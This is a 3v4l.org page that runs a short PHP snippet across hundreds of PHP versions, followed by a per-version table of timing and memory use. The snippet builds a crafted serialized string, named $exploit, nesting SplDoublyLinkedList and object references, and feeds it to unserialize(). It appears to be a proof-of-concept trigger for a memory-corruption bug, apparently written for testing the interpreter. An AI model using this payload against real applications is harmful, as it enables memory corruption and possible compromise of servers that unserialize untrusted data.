3v4l.org

run code in 300+ PHP versions simultaneously
<?php class a { public $a; function __wakeup() { //foreach ($this->a as $aa) { // echo($aa); //} $this->a=null; } } $inner = 'i:1;:i:1711;:i:1712;:O:1:"a":1:{s:1:"a";R:2;}:i:13;'; $exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;O:1:"a":1:{s:1:"a";i:2;}i:2;r:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0060.00918.55
8.3.50.0040.01816.50
8.3.40.0110.00418.76
8.3.30.0090.00618.92
8.3.20.0000.00818.73
8.3.10.0070.00321.65
8.3.00.0040.00420.94
8.2.180.0060.01617.00
8.2.170.0100.01022.96
8.2.160.0110.00319.38
8.2.150.0060.00324.18
8.2.140.0030.00724.66
8.2.130.0040.00420.94
8.2.120.0040.00426.35
8.2.110.0070.00320.94
8.2.100.0040.00817.93
8.2.90.0040.00419.16
8.2.80.0060.00317.97
8.2.70.0040.00417.50
8.2.60.0040.00418.04
8.2.50.0040.00418.10
8.2.40.0040.00422.18
8.2.30.0040.00420.55
8.2.20.0000.00817.66
8.2.10.0000.00818.10
8.2.00.0040.00418.06
8.1.280.0090.00625.92
8.1.270.0040.00423.76
8.1.260.0040.00428.09
8.1.250.0040.00428.09
8.1.240.0080.00022.22
8.1.230.0090.00317.51
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0060.00317.35
8.1.190.0050.00317.35
8.1.180.0000.00818.10
8.1.170.0060.00318.50
8.1.160.0000.00718.94
8.1.150.0030.00518.90
8.1.140.0040.00419.52
8.1.130.0030.00317.72
8.1.120.0070.00017.38
8.1.110.0040.00417.38
8.1.100.0030.00617.46
8.1.90.0050.00217.50
8.1.80.0040.00417.46
8.1.70.0030.00317.46
8.1.60.0030.00617.59
8.1.50.0030.00517.53
8.1.40.0000.00817.53
8.1.30.0000.00817.55
8.1.20.0030.00617.59
8.1.10.0040.00417.43
8.1.00.0040.00417.38
8.0.300.0040.00418.77
8.0.290.0030.00616.75
8.0.280.0070.00018.44
8.0.270.0070.00017.28
8.0.260.0030.00317.25
8.0.250.0050.00217.09
8.0.240.0030.00316.86
8.0.230.0030.00616.92
8.0.220.0000.00716.97
8.0.210.0000.00716.88
8.0.200.0000.00616.91
8.0.190.0030.00317.09
8.0.180.0040.00416.99
8.0.170.0000.00816.89
8.0.160.0080.00017.00
8.0.150.0000.00716.96
8.0.140.0030.00516.94
8.0.130.0030.00313.41
8.0.120.0040.00416.81
8.0.110.0060.00316.91
8.0.100.0040.00416.95
8.0.90.0040.00416.79
8.0.80.0060.01016.88
8.0.70.0000.00716.88
8.0.60.0070.00016.84
8.0.50.0000.00716.84
8.0.30.0100.01017.04
8.0.20.0140.00517.41
8.0.10.0000.00716.90
8.0.00.0100.00816.77
7.4.330.0030.00315.08
7.4.320.0030.00316.62
7.4.300.0030.00316.59
7.4.290.0030.00616.61
7.4.280.0000.00716.64
7.4.270.0030.00316.56
7.4.260.0070.00016.57
7.4.250.0080.00016.58
7.4.240.0040.00416.57
7.4.230.0070.00016.60
7.4.220.0100.00716.63
7.4.210.0060.01016.41
7.4.200.0070.00016.69
7.4.160.0110.00516.45
7.4.150.0070.01717.40
7.4.140.0060.01117.86
7.4.130.0090.00816.53
7.4.120.0090.01116.74
7.4.110.0100.00616.58
7.4.100.0140.00416.64
7.4.90.0130.00316.57
7.4.80.0030.01619.39
7.4.70.0000.01716.55
7.4.60.0100.00716.52
7.4.50.0070.00716.36
7.4.40.0090.00916.58
7.4.30.0110.01116.64
7.4.10.0120.00314.74
7.4.00.0070.00714.80
7.3.330.0020.00213.27
7.3.320.0060.00013.41
7.3.310.0000.00716.49
7.3.300.0030.00316.41
7.3.290.0100.00516.46
7.3.280.0100.00616.42
7.3.270.0140.00317.40
7.3.260.0100.01016.45
7.3.250.0120.00616.47
7.3.240.0100.00716.50
7.3.230.0090.01516.60
7.3.210.0190.00316.45
7.3.200.0120.00916.54
7.3.190.0130.01016.65
7.3.180.0120.00316.54
7.3.170.0050.01116.57
7.3.160.0070.01416.32
7.3.130.0150.00314.50
7.3.120.0110.00714.80
7.3.110.0060.01215.01
7.3.100.0070.00714.49
7.3.90.0080.00615.05
7.3.80.0070.00715.14
7.3.70.0060.00314.51
7.3.60.0070.00714.96
7.3.50.0000.00914.29
7.3.40.0000.01114.51
7.3.30.0060.00614.69
7.3.20.0030.00716.38
7.3.10.0040.00416.33
7.3.00.0150.00016.14
7.2.330.0000.01816.82
7.2.320.0070.01016.64
7.2.310.0120.00616.54
7.2.300.0110.01116.75
7.2.290.0050.01116.64
7.2.260.0030.01314.80
7.2.250.0030.01415.22
7.2.240.0000.01414.78
7.2.230.0070.01014.96
7.2.220.0040.01214.77
7.2.210.0060.00615.15
7.2.200.0070.00714.46
7.2.190.0090.00614.96
7.2.180.0000.00914.70
7.2.170.0080.00815.06
7.2.160.0080.00514.71
7.2.150.0000.00916.82
7.2.140.0070.00416.29
7.2.130.0100.00616.79
7.2.120.0060.00616.69
7.2.110.0070.00717.11
7.2.100.0000.01516.64
7.2.90.0110.00416.96
7.2.80.0100.00317.01
7.2.70.0030.01017.03
7.2.60.0060.01016.54
7.2.50.0030.00617.00
7.2.40.0100.00316.93
7.2.30.0030.00716.75
7.2.20.0090.00316.41
7.2.10.0030.01016.89
7.2.00.0060.00617.99
7.1.330.0000.01615.92
7.1.320.0070.00715.64
7.1.310.0040.00715.65
7.1.300.0040.01115.75
7.1.290.0060.00315.71
7.1.280.0080.00415.91
7.1.270.0080.00315.83
7.1.260.0000.00915.91
7.1.250.0060.00815.50
7.1.240.0030.00815.80
7.1.230.0030.01015.91
7.1.220.0070.01015.56
7.1.210.0050.00315.77
7.1.200.0090.00515.66
7.1.190.0060.00915.95
7.1.180.0110.00315.89
7.1.170.0100.00315.48
7.1.160.0000.01015.52
7.1.150.0060.00615.44
7.1.140.0130.00015.79
7.1.130.0070.00715.78
7.1.120.0090.00615.81
7.1.110.0070.01016.04
7.1.100.0040.00717.03
7.1.90.0090.00615.59
7.1.80.0060.01215.79
7.1.70.0030.00616.51
7.1.60.0080.00818.22
7.1.50.0070.01216.34
7.1.40.0040.01115.59
7.1.30.0070.00715.25
7.1.20.0000.01615.77
7.1.10.0070.00715.46
7.1.00.0120.03319.06
7.0.330.0000.00815.16
7.0.320.0040.01115.36
7.0.310.0040.00715.49
7.0.300.0070.00315.45
7.0.290.0030.01015.57
7.0.280.0060.00615.20
7.0.270.0050.00315.57
7.0.260.0090.00015.18
7.0.250.0040.00815.51
7.0.240.0040.00715.42
7.0.230.0110.00315.43
7.0.220.0070.00715.56
7.0.210.0040.00415.59
7.0.200.0130.00715.11
7.0.190.0080.00515.56
7.0.180.0030.01315.17
7.0.170.0040.01115.38
7.0.160.0000.01515.38
7.0.150.0080.00415.41
7.0.140.0000.01515.37
7.0.130.0070.00715.12
7.0.120.0070.00315.35
7.0.110.0070.00715.60
7.0.100.0030.01015.48
7.0.90.0000.01215.30
7.0.80.0060.01015.42
7.0.70.0070.00715.51
7.0.60.0170.03518.62
7.0.50.0030.04216.67
7.0.40.0150.03216.79
7.0.30.0100.03416.78
7.0.20.0130.03316.75
7.0.10.0150.03116.98
7.0.00.0100.03516.94
5.6.400.0090.00014.52
5.6.390.0060.00614.19
5.6.380.0060.00614.73
5.6.370.0000.01214.31
5.6.360.0100.00314.37
5.6.350.0070.00714.73
5.6.340.0110.00314.59
5.6.330.0070.00714.61
5.6.320.0030.00914.59
5.6.310.0040.00414.46
5.6.300.0090.00614.52
5.6.290.0060.00914.42
5.6.280.0010.04617.51
5.6.270.0060.00314.63
5.6.260.0090.00614.20
5.6.250.0090.00614.42
5.6.240.0040.00814.20
5.6.230.0120.00314.27
5.6.220.0100.00614.36
5.6.210.0060.02517.38
5.6.200.0030.03216.00
5.6.190.0170.03217.36
5.6.180.0130.04117.44
5.6.170.0130.03317.43
5.6.160.0140.03317.29
5.6.150.0140.03017.26
5.6.140.0100.03417.37
5.6.130.0190.02717.37
5.6.120.0150.03017.23
5.6.110.0210.03617.32
5.6.100.0070.03517.47
5.6.90.0320.03717.31
5.6.80.0330.03016.98
5.6.70.0230.04516.95
5.6.60.0060.03417.16
5.6.50.0180.03216.89
5.6.40.0260.03117.12
5.6.30.0270.03317.06
5.6.20.0270.03517.04
5.6.10.0320.03216.95
5.6.00.0180.03516.77
5.5.380.0030.00714.32
5.5.370.0040.01514.63
5.5.360.0080.00414.34
5.5.350.0100.03317.50
5.5.340.0070.02216.23
5.5.330.0100.03317.53
5.5.320.0070.03717.41
5.5.310.0170.03217.44
5.5.300.0170.03017.35
5.5.290.0080.03617.31
5.5.280.0080.03317.34
5.5.270.0220.03217.36
5.5.260.0190.02917.16
5.5.250.0320.03217.19
5.5.240.0280.03317.00
5.5.230.0300.02916.92
5.5.220.0150.03316.80
5.5.210.0320.02516.89
5.5.200.0250.03117.05
5.5.190.0310.03016.93
5.5.180.0320.03716.97
5.5.170.0070.00714.49
5.5.160.0100.03016.89
5.5.150.0270.03516.93
5.5.140.0340.03417.01
5.5.130.0320.02716.96
5.5.120.0340.02416.75
5.5.110.0310.03817.06
5.5.100.0260.02816.76
5.5.90.0400.03316.96
5.5.80.0400.03617.00
5.5.70.0430.03816.83
5.5.60.0350.03816.89
5.5.50.0250.04216.77
5.5.40.0130.03316.76
5.5.30.0050.03216.90
5.5.20.0330.02717.03
5.5.10.0280.02916.89
5.5.00.0300.03416.88

preferences:
82.97 ms | 401 KiB | 5 Q